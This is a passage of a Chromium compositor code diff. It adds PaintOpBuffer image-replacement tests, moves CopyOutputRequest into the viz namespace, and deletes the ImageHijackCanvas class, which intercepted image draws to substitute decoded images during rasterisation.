+  buffer.push<SaveLayerAlphaOp>(&rect, alpha, false);
+
+  PaintFlags flags;
+  PaintImage paint_image = PaintImage(
+      PaintImage::GetNextId(), CreateDiscardableImage(gfx::Size(10, 10)));
+  buffer.push<DrawImageOp>(paint_image, 105.0f, 105.0f, &flags);
+  PaintFlags image_flags;
+  image_flags.setShader(
+      PaintShader::MakeImage(paint_image, SkShader::TileMode::kRepeat_TileMode,
+                             SkShader::TileMode::kRepeat_TileMode, nullptr));
+  buffer.push<DrawRectOp>(SkRect::MakeXYWH(110, 110, 100, 100), image_flags);
+
+  buffer.push<DrawRectOp>(rect, PaintFlags());
+  buffer.push<RestoreOp>();
+
+  // Using a strict mock to ensure that skipping image ops optimizes the
+  // save/restore sequences. The single save/restore call is from the
+  // PaintOpBuffer's use of SkAutoRestoreCanvas.
+  testing::StrictMock<MockCanvas> canvas;
+  testing::Sequence s;
+  EXPECT_CALL(canvas, willSave()).InSequence(s);
+  EXPECT_CALL(canvas, OnDrawRectWithColor(_)).InSequence(s);
+  EXPECT_CALL(canvas, willRestore()).InSequence(s);
+  buffer.Playback(&canvas, &image_provider);
+}
+
+MATCHER(NonLazyImage, "") {
+  return !arg->isLazyGenerated();
+}
+
+MATCHER_P(MatchesInvScale, expected, "") {
+  SkSize scale;
+  arg.decomposeScale(&scale, nullptr);
+  SkSize inv = SkSize::Make(1.0f / scale.width(), 1.0f / scale.height());
+  return inv == expected;
+}
+
+MATCHER_P2(MatchesRect, rect, scale, "") {
+  EXPECT_EQ(arg->x(), rect.x() * scale.width());
+  EXPECT_EQ(arg->y(), rect.y() * scale.height());
+  EXPECT_EQ(arg->width(), rect.width() * scale.width());
+  EXPECT_EQ(arg->height(), rect.height() * scale.height());
+  return true;
+}
+
+MATCHER_P(MatchesQuality, quality, "") {
+  return quality == arg->getFilterQuality();
+}
+
+MATCHER_P2(MatchesShader, flags, scale, "") {
+  SkMatrix matrix;
+  SkShader::TileMode xy[2];
+  SkImage* image = arg.getShader()->isAImage(&matrix, xy);
+
+  EXPECT_FALSE(image->isLazyGenerated());
+
+  SkSize local_scale;
+  matrix.decomposeScale(&local_scale, nullptr);
+  EXPECT_EQ(local_scale.width(), 1.0f / scale.width());
+  EXPECT_EQ(local_scale.height(), 1.0f / scale.height());
+
+  EXPECT_EQ(flags.getShader()->tx(), xy[0]);
+  EXPECT_EQ(flags.getShader()->ty(), xy[1]);
+
+  return true;
+};
+
+TEST(PaintOpBufferTest, ReplacesImagesFromProvider) {
+  std::vector<SkSize> src_rect_offset = {
+      SkSize::MakeEmpty(), SkSize::Make(2.0f, 2.0f), SkSize::Make(3.0f, 3.0f)};
+  std::vector<SkSize> scale_adjustment = {SkSize::Make(0.2f, 0.2f),
+                                          SkSize::Make(0.3f, 0.3f),
+                                          SkSize::Make(0.4f, 0.4f)};
+  std::vector<SkFilterQuality> quality = {
+      kHigh_SkFilterQuality, kMedium_SkFilterQuality, kHigh_SkFilterQuality};
+
+  MockImageProvider image_provider(src_rect_offset, scale_adjustment, quality);
+  PaintOpBuffer buffer;
+
+  SkRect rect = SkRect::MakeWH(10, 10);
+  PaintFlags flags;
+  flags.setFilterQuality(kLow_SkFilterQuality);
+  PaintImage paint_image = PaintImage(
+      PaintImage::GetNextId(), CreateDiscardableImage(gfx::Size(10, 10)));
+  buffer.push<DrawImageOp>(paint_image, 0.0f, 0.0f, &flags);
+  buffer.push<DrawImageRectOp>(
+      paint_image, rect, rect, &flags,
+      PaintCanvas::SrcRectConstraint::kFast_SrcRectConstraint);
+  flags.setShader(
+      PaintShader::MakeImage(paint_image, SkShader::TileMode::kRepeat_TileMode,
+                             SkShader::TileMode::kRepeat_TileMode, nullptr));
+  buffer.push<DrawOvalOp>(SkRect::MakeWH(10, 10), flags);
+
+  testing::StrictMock<MockCanvas> canvas;
+  testing::Sequence s;
+
+  // Save/scale/image/restore from DrawImageop.
+  EXPECT_CALL(canvas, willSave()).InSequence(s);
+  EXPECT_CALL(canvas, didConcat(MatchesInvScale(scale_adjustment[0])));
+  EXPECT_CALL(canvas, onDrawImage(NonLazyImage(), 0.0f, 0.0f,
+                                  MatchesQuality(quality[0])));
+  EXPECT_CALL(canvas, willRestore()).InSequence(s);
+
+  // DrawImageRectop.
+  SkRect src_rect =
+      rect.makeOffset(src_rect_offset[1].width(), src_rect_offset[1].height());
+  EXPECT_CALL(canvas,
+              onDrawImageRect(
+                  NonLazyImage(), MatchesRect(src_rect, scale_adjustment[1]),
+                  SkRect::MakeWH(10, 10), MatchesQuality(quality[1]),
+                  SkCanvas::kFast_SrcRectConstraint));
+
+  // DrawOvalop.
+  EXPECT_CALL(canvas, onDrawOval(SkRect::MakeWH(10, 10),
+                                 MatchesShader(flags, scale_adjustment[2])));
+
+  buffer.Playback(&canvas, &image_provider);
+}
+
 }  // namespace cc
diff --git a/cc/paint/paint_shader.h b/cc/paint/paint_shader.h
index 932ffa3..3be666b9 100644
--- a/cc/paint/paint_shader.h
+++ b/cc/paint/paint_shader.h
@@ -103,11 +103,14 @@
     return local_matrix_ ? *local_matrix_ : SkMatrix::I();
   }
   Type shader_type() const { return shader_type_; }
-  const PaintImage& paint_image() {
+  const PaintImage& paint_image() const {
     DCHECK_EQ(Type::kImage, shader_type_);
     return image_;
   }
 
+  SkShader::TileMode tx() const { return tx_; }
+  SkShader::TileMode ty() const { return ty_; }
+
   bool IsOpaque() const;
 
  private:
diff --git a/cc/paint/record_paint_canvas.cc b/cc/paint/record_paint_canvas.cc
index 3570984..6ffc0d1 100644
--- a/cc/paint/record_paint_canvas.cc
+++ b/cc/paint/record_paint_canvas.cc
@@ -290,9 +290,7 @@
   if (bitmap.drawsNothing())
     return;
   drawImage(
-      PaintImage(PaintImage::kNonLazyStableId, SkImage::MakeFromBitmap(bitmap),
-                 PaintImage::AnimationType::UNKNOWN,
-                 PaintImage::CompletionState::UNKNOWN),
+      PaintImage(PaintImage::kNonLazyStableId, SkImage::MakeFromBitmap(bitmap)),
       left, top, flags);
 }
 
diff --git a/cc/paint/solid_color_analyzer.cc b/cc/paint/solid_color_analyzer.cc
index af89d8a3..0cc3b114 100644
--- a/cc/paint/solid_color_analyzer.cc
+++ b/cc/paint/solid_color_analyzer.cc
@@ -175,7 +175,7 @@
     }
 
     const PaintOp* op = *frame.iter;
-    const SkMatrix& original_ctm = frame.original_ctm;
+    PlaybackParams params(nullptr, frame.original_ctm);
     switch (op->GetType()) {
       case PaintOpType::DrawRecord: {
         const DrawRecordOp* record_op = static_cast<const DrawRecordOp*>(op);
@@ -239,7 +239,7 @@
       case PaintOpType::Save:
       case PaintOpType::Translate:
       case PaintOpType::Noop:
-        op->Raster(&canvas, original_ctm);
+        op->Raster(&canvas, params);
         break;
     }
     ++frame.iter;
diff --git a/cc/quads/render_pass.cc b/cc/quads/render_pass.cc
index 77faaf0..a4e458c 100644
--- a/cc/quads/render_pass.cc
+++ b/cc/quads/render_pass.cc
@@ -15,7 +15,6 @@
 #include "base/values.h"
 #include "cc/base/math_util.h"
 #include "cc/debug/traced_value.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/quads/debug_border_draw_quad.h"
 #include "cc/quads/draw_quad.h"
 #include "cc/quads/largest_draw_quad.h"
@@ -28,6 +27,7 @@
 #include "cc/quads/texture_draw_quad.h"
 #include "cc/quads/tile_draw_quad.h"
 #include "cc/quads/yuv_video_draw_quad.h"
+#include "components/viz/common/quads/copy_output_request.h"
 
 namespace {
 const size_t kDefaultNumSharedQuadStatesToReserve = 32;
diff --git a/cc/quads/render_pass.h b/cc/quads/render_pass.h
index 5a9910b..ea179cd 100644
--- a/cc/quads/render_pass.h
+++ b/cc/quads/render_pass.h
@@ -29,10 +29,13 @@
 }
 }
 
+namespace viz {
+class CopyOutputRequest;
+}
+
 namespace cc {
 
 class DrawQuad;
-class CopyOutputRequest;
 class RenderPassDrawQuad;
 class SharedQuadState;
 
@@ -133,7 +136,7 @@
   // contents as a bitmap, and give a copy of the bitmap to each callback in
   // this list. This property should not be serialized between compositors, as
   // it only makes sense in the root compositor.
-  std::vector<std::unique_ptr<CopyOutputRequest>> copy_requests;
+  std::vector<std::unique_ptr<viz::CopyOutputRequest>> copy_requests;
 
   QuadList quad_list;
   SharedQuadStateList shared_quad_state_list;
diff --git a/cc/quads/render_pass_unittest.cc b/cc/quads/render_pass_unittest.cc
index 0b132f53..5877139 100644
--- a/cc/quads/render_pass_unittest.cc
+++ b/cc/quads/render_pass_unittest.cc
@@ -8,10 +8,10 @@
 
 #include "base/memory/ptr_util.h"
 #include "cc/base/math_util.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/quads/render_pass_draw_quad.h"
 #include "cc/quads/solid_color_draw_quad.h"
 #include "cc/test/geometry_test_utils.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/skia/include/effects/SkBlurImageFilter.h"
 #include "ui/gfx/transform.h"
@@ -30,7 +30,7 @@
   FilterOperations background_filters;
   gfx::ColorSpace color_space;
   bool has_transparent_background;
-  std::vector<std::unique_ptr<CopyOutputRequest>> copy_callbacks;
+  std::vector<std::unique_ptr<viz::CopyOutputRequest>> copy_callbacks;
   QuadList quad_list;
   SharedQuadStateList shared_quad_state_list;
 };
@@ -84,7 +84,7 @@
   pass->SetAll(render_pass_id, output_rect, damage_rect, transform_to_root,
                filters, background_filters, color_space,
                has_transparent_background);
-  pass->copy_requests.push_back(CopyOutputRequest::CreateEmptyRequest());
+  pass->copy_requests.push_back(viz::CopyOutputRequest::CreateEmptyRequest());
 
   // Stick a quad in the pass, this should not get copied.
   SharedQuadState* shared_state = pass->CreateAndAppendSharedQuadState();
diff --git a/cc/raster/gpu_raster_buffer_provider.cc b/cc/raster/gpu_raster_buffer_provider.cc
index 4edfc294..c4a405e8 100644
--- a/cc/raster/gpu_raster_buffer_provider.cc
+++ b/cc/raster/gpu_raster_buffer_provider.cc
@@ -14,7 +14,6 @@
 #include "base/trace_event/trace_event.h"
 #include "cc/base/histograms.h"
 #include "cc/paint/paint_canvas.h"
-#include "cc/raster/image_hijack_canvas.h"
 #include "cc/raster/raster_source.h"
 #include "cc/raster/scoped_gpu_raster.h"
 #include "cc/resources/resource.h"
diff --git a/cc/raster/image_hijack_canvas.cc b/cc/raster/image_hijack_canvas.cc
deleted file mode 100644
index a0a8c84..0000000
--- a/cc/raster/image_hijack_canvas.cc
+++ /dev/null
@@ -1,380 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "cc/raster/image_hijack_canvas.h"
-
-#include "base/optional.h"
-#include "base/trace_event/trace_event.h"
-#include "cc/paint/discardable_image_map.h"
-#include "cc/tiles/image_decode_cache.h"
-#include "third_party/skia/include/core/SkPath.h"
-
-namespace cc {
-namespace {
-
-SkIRect RoundOutRect(const SkRect& rect) {
-  SkIRect result;
-  rect.roundOut(&result);
-  return result;
-}
-
-class ScopedDecodedImageLock {
- public:
-  ScopedDecodedImageLock(ImageDecodeCache* image_decode_cache,
-                         sk_sp<SkImage> image,
-                         const SkRect& src_rect,
-                         const SkMatrix& matrix,
-                         const SkPaint* paint,
-                         const gfx::ColorSpace& target_color_space)
-      : image_decode_cache_(image_decode_cache),
-        // TODO(khushalsagar): Using the wrong id should not be necessary once
-        // the hijack canvas is eliminated.
-        draw_image_(PaintImage(PaintImage::kUnknownStableId, std::move(image)),
-                    RoundOutRect(src_rect),
-                    paint ? paint->getFilterQuality() : kNone_SkFilterQuality,
-                    matrix,
-                    target_color_space),
-        decoded_draw_image_(
-            image_decode_cache_->GetDecodedImageForDraw(draw_image_)) {
-    DCHECK(draw_image_.image()->isLazyGenerated());
-    if (paint) {
-      decoded_paint_ = *paint;
-      decoded_paint_->setFilterQuality(decoded_draw_image_.filter_quality());
-    }
-  }
-
-  ScopedDecodedImageLock(ScopedDecodedImageLock&& from)
-      : image_decode_cache_(from.image_decode_cache_),
-        draw_image_(std::move(from.draw_image_)),
-        decoded_draw_image_(std::move(from.decoded_draw_image_)),
-        decoded_paint_(std::move(from.decoded_paint_)) {
-    from.image_decode_cache_ = nullptr;
-  }
-
-  ~ScopedDecodedImageLock() {
-    if (image_decode_cache_)
-      image_decode_cache_->DrawWithImageFinished(draw_image_,
-                                                 decoded_draw_image_);
-  }
-
-  const DecodedDrawImage& decoded_image() const { return decoded_draw_image_; }
-  const SkPaint* decoded_paint() const {
-    return decoded_paint_ ? &decoded_paint_.value() : nullptr;
-  }
-
- private:
-  ImageDecodeCache* image_decode_cache_;
-  DrawImage draw_image_;
-  DecodedDrawImage decoded_draw_image_;
-  base::Optional<SkPaint> decoded_paint_;
-};
-
-// Encapsulates a ScopedDecodedImageLock and an SkPaint. Use of this class
-// ensures that the ScopedDecodedImageLock outlives the dependent SkPaint.
-class ScopedImagePaint {
- public:
-  // Tries to create a ScopedImagePaint for the provided SkPaint. If a
-  // the SkPaint does not contain an image that we support replacing,
-  // an empty base::Optional will be returned.
-  static base::Optional<ScopedImagePaint> TryCreate(
-      ImageDecodeCache* image_decode_cache,
-      const SkMatrix& ctm,
-      const SkPaint& paint,
-      const gfx::ColorSpace& target_color_space) {
-    SkShader* shader = paint.getShader();
-    if (!shader)
-      return base::Optional<ScopedImagePaint>();
-
-    SkMatrix matrix;
-    SkShader::TileMode xy[2];
-    SkImage* image = shader->isAImage(&matrix, xy);
-    if (!image || !image->isLazyGenerated())
-      return base::Optional<ScopedImagePaint>();
-
-    SkMatrix total_image_matrix = matrix;
-    total_image_matrix.preConcat(ctm);
-
-    ScopedDecodedImageLock scoped_lock(
-        image_decode_cache, sk_ref_sp(image),
-        SkRect::MakeIWH(image->width(), image->height()), total_image_matrix,
-        &paint, target_color_space);
-    const DecodedDrawImage& decoded_image = scoped_lock.decoded_image();
-    if (!decoded_image.image())
-      return base::Optional<ScopedImagePaint>();
-
-    bool need_scale = !decoded_image.is_scale_adjustment_identity();
-    if (need_scale) {
-      matrix.preScale(1.f / decoded_image.scale_adjustment().width(),
-                      1.f / decoded_image.scale_adjustment().height());
-    }
-    SkPaint scratch_paint = paint;
-    scratch_paint.setShader(
-        decoded_image.image()->makeShader(xy[0], xy[1], &matrix));
-    scratch_paint.setFilterQuality(decoded_image.filter_quality());
-    return ScopedImagePaint(std::move(scoped_lock), std::move(scratch_paint));
-  }
-
-  const SkPaint& paint() { return paint_; }
-
- private:
-  ScopedImagePaint(ScopedDecodedImageLock lock, SkPaint paint)
-      : lock_(std::move(lock)), paint_(std::move(paint)) {}
-
-  ScopedDecodedImageLock lock_;
-  SkPaint paint_;
-};
-
-const SkImage* GetImageInPaint(const SkPaint& paint) {
-  SkShader* shader = paint.getShader();
-  return shader ? shader->isAImage(nullptr, nullptr) : nullptr;
-}
-
-}  // namespace
-
-ImageHijackCanvas::ImageHijackCanvas(int width,
-                                     int height,
-                                     ImageDecodeCache* image_decode_cache,
-                                     const SkImageIdFlatSet* images_to_skip,
-                                     const gfx::ColorSpace& target_color_space)
-    : SkNWayCanvas(width, height),
-      image_decode_cache_(image_decode_cache),
-      images_to_skip_(images_to_skip),
-      target_color_space_(target_color_space) {}
-
-void ImageHijackCanvas::onDrawPicture(const SkPicture* picture,
-                                      const SkMatrix* matrix,
-                                      const SkPaint* paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawPicture");
-  // Ensure that pictures are unpacked by this canvas, instead of being
-  // forwarded to the raster canvas.
-  SkCanvas::onDrawPicture(picture, matrix, paint);
-}
-
-void ImageHijackCanvas::onDrawImage(const SkImage* image,
-                                    SkScalar x,
-                                    SkScalar y,
-                                    const SkPaint* paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawImage");
-  SkRect rect = SkRect::MakeXYWH(x, y, SkIntToScalar(image->width()),
-                                 SkIntToScalar(image->height()));
-  if (QuickRejectDraw(rect, paint))
-    return;
-
-  if (!image->isLazyGenerated()) {
-    DCHECK(!ShouldSkipImage(image));
-    SkNWayCanvas::onDrawImage(image, x, y, paint);
-    return;
-  }
-
-  if (ShouldSkipImage(image))
-    return;
-
-  SkMatrix ctm = getTotalMatrix();
-
-  ScopedDecodedImageLock scoped_lock(
-      image_decode_cache_, sk_ref_sp(const_cast<SkImage*>(image)),
-      SkRect::MakeIWH(image->width(), image->height()), ctm, paint,
-      target_color_space_);
-  const DecodedDrawImage& decoded_image = scoped_lock.decoded_image();
-  if (!decoded_image.image())
-    return;
-
-  DCHECK_EQ(0, static_cast<int>(decoded_image.src_rect_offset().width()));
-  DCHECK_EQ(0, static_cast<int>(decoded_image.src_rect_offset().height()));
-  const SkPaint* decoded_paint = scoped_lock.decoded_paint();
-
-  bool need_scale = !decoded_image.is_scale_adjustment_identity();
-  if (need_scale) {
-    SkNWayCanvas::save();
-    SkNWayCanvas::scale(1.f / (decoded_image.scale_adjustment().width()),
-                        1.f / (decoded_image.scale_adjustment().height()));
-  }
-  SkNWayCanvas::onDrawImage(decoded_image.image().get(), x, y, decoded_paint);
-  if (need_scale)
-    SkNWayCanvas::restore();
-}
-
-void ImageHijackCanvas::onDrawImageRect(const SkImage* image,
-                                        const SkRect* src,
-                                        const SkRect& dst,
-                                        const SkPaint* paint,
-                                        SrcRectConstraint constraint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawImageRect");
-  if (QuickRejectDraw(dst, paint))
-    return;
-
-  if (!image->isLazyGenerated()) {
-    DCHECK(!ShouldSkipImage(image));
-    SkNWayCanvas::onDrawImageRect(image, src, dst, paint, constraint);
-    return;
-  }
-
-  if (ShouldSkipImage(image))
-    return;
-
-  SkRect src_storage;
-  if (!src) {
-    src_storage = SkRect::MakeIWH(image->width(), image->height());
-    src = &src_storage;
-  }
-  SkMatrix matrix;
-  matrix.setRectToRect(*src, dst, SkMatrix::kFill_ScaleToFit);
-  matrix.postConcat(getTotalMatrix());
-
-  ScopedDecodedImageLock scoped_lock(image_decode_cache_,
-                                     sk_ref_sp(const_cast<SkImage*>(image)),
-                                     *src, matrix, paint, target_color_space_);
-  const DecodedDrawImage& decoded_image = scoped_lock.decoded_image();
-  if (!decoded_image.image())
-    return;
-
-  const SkPaint* decoded_paint = scoped_lock.decoded_paint();
-
-  SkRect adjusted_src =
-      src->makeOffset(decoded_image.src_rect_offset().width(),
-                      decoded_image.src_rect_offset().height());
-  if (!decoded_image.is_scale_adjustment_identity()) {
-    float x_scale = decoded_image.scale_adjustment().width();
-    float y_scale = decoded_image.scale_adjustment().height();
-    adjusted_src = SkRect::MakeXYWH(
-        adjusted_src.x() * x_scale, adjusted_src.y() * y_scale,
-        adjusted_src.width() * x_scale, adjusted_src.height() * y_scale);
-  }
-  SkNWayCanvas::onDrawImageRect(decoded_image.image().get(), &adjusted_src, dst,
-                                decoded_paint, constraint);
-}
-
-void ImageHijackCanvas::onDrawRect(const SkRect& r, const SkPaint& paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawRect");
-  if (QuickRejectDraw(r, &paint))
-    return;
-
-  if (ShouldSkipImageInPaint(paint))
-    return;
-
-  base::Optional<ScopedImagePaint> image_paint = ScopedImagePaint::TryCreate(
-      image_decode_cache_, getTotalMatrix(), paint, target_color_space_);
-  if (!image_paint.has_value()) {
-    SkNWayCanvas::onDrawRect(r, paint);
-    return;
-  }
-  SkNWayCanvas::onDrawRect(r, image_paint.value().paint());
-}
-
-void ImageHijackCanvas::onDrawPath(const SkPath& path, const SkPaint& paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawPath");
-  if (QuickRejectDraw(path.getBounds(), &paint))
-    return;
-
-  if (ShouldSkipImageInPaint(paint))
-    return;
-
-  base::Optional<ScopedImagePaint> image_paint = ScopedImagePaint::TryCreate(
-      image_decode_cache_, getTotalMatrix(), paint, target_color_space_);
-  if (!image_paint.has_value()) {
-    SkNWayCanvas::onDrawPath(path, paint);
-    return;
-  }
-  SkNWayCanvas::onDrawPath(path, image_paint.value().paint());
-}
-
-void ImageHijackCanvas::onDrawOval(const SkRect& r, const SkPaint& paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawOval");
-  if (QuickRejectDraw(r, &paint))
-    return;
-
-  if (ShouldSkipImageInPaint(paint))
-    return;
-
-  base::Optional<ScopedImagePaint> image_paint = ScopedImagePaint::TryCreate(
-      image_decode_cache_, getTotalMatrix(), paint, target_color_space_);
-  if (!image_paint.has_value()) {
-    SkNWayCanvas::onDrawOval(r, paint);
-    return;
-  }
-  SkNWayCanvas::onDrawOval(r, image_paint.value().paint());
-}
-
-void ImageHijackCanvas::onDrawArc(const SkRect& r,
-                                  SkScalar start_angle,
-                                  SkScalar sweep_angle,
-                                  bool use_center,
-                                  const SkPaint& paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawArc");
-  if (QuickRejectDraw(r, &paint))
-    return;
-
-  if (ShouldSkipImageInPaint(paint))
-    return;
-
-  base::Optional<ScopedImagePaint> image_paint = ScopedImagePaint::TryCreate(
-      image_decode_cache_, getTotalMatrix(), paint, target_color_space_);
-  if (!image_paint.has_value()) {
-    SkNWayCanvas::onDrawArc(r, start_angle, sweep_angle, use_center, paint);
-    return;
-  }
-  SkNWayCanvas::onDrawArc(r, start_angle, sweep_angle, use_center,
-                          image_paint.value().paint());
-}
-
-void ImageHijackCanvas::onDrawRRect(const SkRRect& rr, const SkPaint& paint) {
-  TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::onDrawRRect");
-  if (QuickRejectDraw(rr.rect(), &paint))
-    return;
-
-  if (ShouldSkipImageInPaint(paint))
-    return;
-
-  base::Optional<ScopedImagePaint> image_paint = ScopedImagePaint::TryCreate(
-      image_decode_cache_, getTotalMatrix(), paint, target_color_space_);
-  if (!image_paint.has_value()) {
-    SkNWayCanvas::onDrawRRect(rr, paint);
-    return;
-  }
-  SkNWayCanvas::onDrawRRect(rr, image_paint.value().paint());
-}
-
-void ImageHijackCanvas::onDrawImageNine(const SkImage* image,
-                                        const SkIRect& center,
-                                        const SkRect& dst,
-                                        const SkPaint* paint) {
-  // No cc embedder issues image nine calls.
-  NOTREACHED();
-}
-
-bool ImageHijackCanvas::ShouldSkipImage(const SkImage* image) const {
-  bool skip =
-      images_to_skip_->find(image->uniqueID()) != images_to_skip_->end();
-  TRACE_EVENT2(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
-               "ImageHijackCanvas::ShouldSkipImage", "imageId",
-               image->uniqueID(), "skip", skip);
-  return skip;
-}
-
-bool ImageHijackCanvas::ShouldSkipImageInPaint(const SkPaint& paint) const {
-  const SkImage* image = GetImageInPaint(paint);
-  return image ? ShouldSkipImage(image) : false;
-}
-
-bool ImageHijackCanvas::QuickRejectDraw(const SkRect& rect,
-                                        const SkPaint* paint) const {
-  if (nullptr == paint || paint->canComputeFastBounds()) {
-    SkRect tmp = rect;
-    if (paint)
-      paint->computeFastBounds(tmp, &tmp);
-    return quickReject(tmp);
-  }
-
-  return false;
-}
-
-}  // namespace cc
diff --git a/cc/raster/image_hijack_canvas.h b/cc/raster/image_hijack_canvas.h
deleted file mode 100644
index a71c662..0000000
--- a/cc/raster/image_hijack_canvas.h
+++ /dev/null
@@ -1,70 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CC_RASTER_IMAGE_HIJACK_CANVAS_H_
-#define CC_RASTER_IMAGE_HIJACK_CANVAS_H_
-
-#include <unordered_set>
-
-#include "base/macros.h"
-#include "cc/cc_export.h"
-#include "cc/paint/image_id.h"
-#include "third_party/skia/include/utils/SkNWayCanvas.h"
-#include "ui/gfx/color_space.h"
-
-namespace cc {
-
-class ImageDecodeCache;
-
-class CC_EXPORT ImageHijackCanvas : public SkNWayCanvas {
- public:
-  ImageHijackCanvas(int width,
-                    int height,
-                    ImageDecodeCache* image_decode_cache,
-                    const SkImageIdFlatSet* images_to_skip,
-                    const gfx::ColorSpace& target_color_space);
-
- private:
-  // Ensure that pictures are unpacked by this canvas, instead of being
-  // forwarded to the raster canvas.
-  void onDrawPicture(const SkPicture* picture,
-                     const SkMatrix* matrix,
-                     const SkPaint* paint) override;
-  void onDrawImage(const SkImage* image,
-                   SkScalar x,
-                   SkScalar y,
-                   const SkPaint* paint) override;
-  void onDrawImageRect(const SkImage* image,
-                       const SkRect* src,
-                       const SkRect& dst,
-                       const SkPaint* paint,
-                       SrcRectConstraint constraint) override;
-  void onDrawRect(const SkRect&, const SkPaint&) override;
-  void onDrawPath(const SkPath& path, const SkPaint& paint) override;
-  void onDrawOval(const SkRect& r, const SkPaint& paint) override;
-  void onDrawArc(const SkRect& r,
-                 SkScalar start_angle,
-                 SkScalar sweep_angle,
-                 bool use_center,
-                 const SkPaint& paint) override;
-  void onDrawRRect(const SkRRect& rr, const SkPaint& paint) override;
-  void onDrawImageNine(const SkImage* image,
-                       const SkIRect& center,
-                       const SkRect& dst,
-                       const SkPaint* paint) override;
-
-  bool ShouldSkipImage(const SkImage* image) const;
-  bool ShouldSkipImageInPaint(const SkPaint& paint) const;
-  bool QuickRejectDraw(const SkRect& rect, const SkPaint* paint) const;
-
-  ImageDecodeCache* image_decode_cache_;
-  const SkImageIdFlatSet* images_to_skip_;
-  const gfx::ColorSpace target_color_space_;
-
-  DISALLOW_COPY_AND_ASSIGN(ImageHijackCanvas);
-};
-
-}  // namespace cc
-
-#endif  // CC_RASTER_IMAGE_HIJACK_CANVAS_H_
diff --git a/cc/raster/image_hijack_canvas_unittest.cc b/cc/raster/image_hijack_canvas_unittest.cc
deleted file mode 100644
index 5b6568d..0000000
--- a/cc/raster/image_hijack_canvas_unittest.cc
+++ /dev/null
@@ -1,117 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-#include "cc/raster/image_hijack_canvas.h"
-
-#include "cc/test/skia_common.h"
-#include "cc/tiles/image_decode_cache.h"
-#include "testing/gmock/include/gmock/gmock.h"
-#include "testing/gtest/include/gtest/gtest.h"
-#include "third_party/skia/include/core/SkBitmap.h"
-#include "third_party/skia/include/core/SkImage.h"
-#include "third_party/skia/include/core/SkPath.h"
-
-namespace cc {
-namespace {
-
-class MockImageDecodeCache : public ImageDecodeCache {
- public:
-  MOCK_METHOD3(GetTaskForImageAndRef,
-               bool(const DrawImage& image,
-                    const TracingInfo& tracing_info,
-                    scoped_refptr<TileTask>* task));
-  MOCK_METHOD1(UnrefImage, void(const DrawImage& image));
-  MOCK_METHOD1(GetDecodedImageForDraw,
-               DecodedDrawImage(const DrawImage& image));
-  MOCK_METHOD2(DrawWithImageFinished,
-               void(const DrawImage& image,
-                    const DecodedDrawImage& decoded_image));
-  MOCK_METHOD0(ReduceCacheUsage, void());
-  MOCK_METHOD1(SetShouldAggressivelyFreeResources,
-               void(bool aggressively_free_resources));
-  MOCK_METHOD0(ClearCache, void());
-  MOCK_METHOD2(GetOutOfRasterDecodeTaskForImageAndRef,
-               bool(const DrawImage& image, scoped_refptr<TileTask>* task));
-  MOCK_CONST_METHOD0(GetMaximumMemoryLimitBytes, size_t());
-  MOCK_METHOD1(NotifyImageUnused, void(uint32_t skimage_id));
-};
-
-TEST(ImageHijackCanvasTest, NonLazyImagesSkipped) {
-  // Use a strict mock so that if *any* ImageDecodeCache methods are called, we
-  // will hit an error.
-  testing::StrictMock<MockImageDecodeCache> image_decode_cache;
-  SkImageIdFlatSet images_to_skip;
-  gfx::ColorSpace target_color_space = gfx::ColorSpace::CreateSRGB();
-  ImageHijackCanvas canvas(100, 100, &image_decode_cache, &images_to_skip,
-                           target_color_space);
-
-  // Use an SkBitmap backed image to ensure that the image is not
-  // lazy-generated.
-  SkBitmap bitmap;
-  bitmap.allocN32Pixels(10, 10, true);
-  sk_sp<SkImage> image = SkImage::MakeFromBitmap(bitmap);
-
-  SkPaint paint;
-  canvas.drawImage(image, 0, 0, &paint);
-  canvas.drawImageRect(image, SkRect::MakeXYWH(0, 0, 10, 10),
-                       SkRect::MakeXYWH(10, 10, 10, 10), &paint);
-
-  SkPaint image_paint;
-  image_paint.setShader(
-      image->makeShader(SkShader::kClamp_TileMode, SkShader::kClamp_TileMode));
-  SkRect paint_rect = SkRect::MakeXYWH(0, 0, 100, 100);
-  canvas.drawRect(paint_rect, image_paint);
-  SkPath path;
-  path.addRect(paint_rect, SkPath::kCW_Direction);
-  canvas.drawPath(path, image_paint);
-  canvas.drawOval(paint_rect, image_paint);
-  canvas.drawArc(paint_rect, 0, 40, true, image_paint);
-  canvas.drawRRect(SkRRect::MakeRect(paint_rect), image_paint);
-}
-
-TEST(ImageHijackCanvasTest, ImagesToSkipAreSkipped) {
-  // Use a strict mock so that if *any* ImageDecodeCache methods are called, we
-  // will hit an error.
-  testing::StrictMock<MockImageDecodeCache> image_decode_cache;
-  SkImageIdFlatSet images_to_skip;
-  sk_sp<SkImage> image = CreateDiscardableImage(gfx::Size(10, 10));
-  images_to_skip.insert(image->uniqueID());
-  gfx::ColorSpace target_color_space = gfx::ColorSpace::CreateSRGB();
-  ImageHijackCanvas canvas(100, 100, &image_decode_cache, &images_to_skip,
-                           target_color_space);
-
-  SkPaint paint;
